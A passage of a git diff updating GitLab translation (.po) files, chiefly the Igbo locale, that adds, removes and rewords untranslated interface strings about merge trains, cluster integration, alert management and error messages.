-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29217,6 +30039,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29260,9 +30085,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29380,6 +30202,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29398,6 +30223,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29461,6 +30289,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/ig_NG/gitlab.po b/locale/ig_NG/gitlab.po
index 4d783a99e99..c796e999887 100644
--- a/locale/ig_NG/gitlab.po
+++ b/locale/ig_NG/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ig\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:42\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -54,13 +54,13 @@ msgstr[0] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -69,6 +69,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -251,6 +254,9 @@ msgstr[0] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -287,6 +293,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -339,6 +348,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -366,7 +378,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -453,9 +465,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -474,6 +483,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -483,6 +495,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -590,6 +614,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -613,6 +640,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -628,6 +658,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -696,6 +729,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -729,6 +765,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -738,7 +777,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -781,6 +835,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -961,15 +1018,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1033,7 +1081,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1051,6 +1099,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1153,6 +1204,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1264,6 +1318,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1295,12 +1352,6 @@ msgstr[0] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1439,6 +1496,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -1959,6 +2025,9 @@ msgstr[0] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2388,6 +2457,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,13 +2754,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2703,12 +2790,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2787,6 +2880,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,7 +3726,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3738,6 +3840,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3807,13 +3912,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4182,6 +4293,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,7 +4764,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4821,9 +4932,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,13 +5148,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5046,6 +5175,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5301,9 +5433,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,7 +5628,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,7 +5988,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6220,7 +6370,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr ""
@@ -6937,6 +7103,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -6973,6 +7142,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -6997,6 +7169,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7168,6 +7343,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7264,6 +7442,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7427,6 +7614,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7457,25 +7647,55 @@ msgstr ""
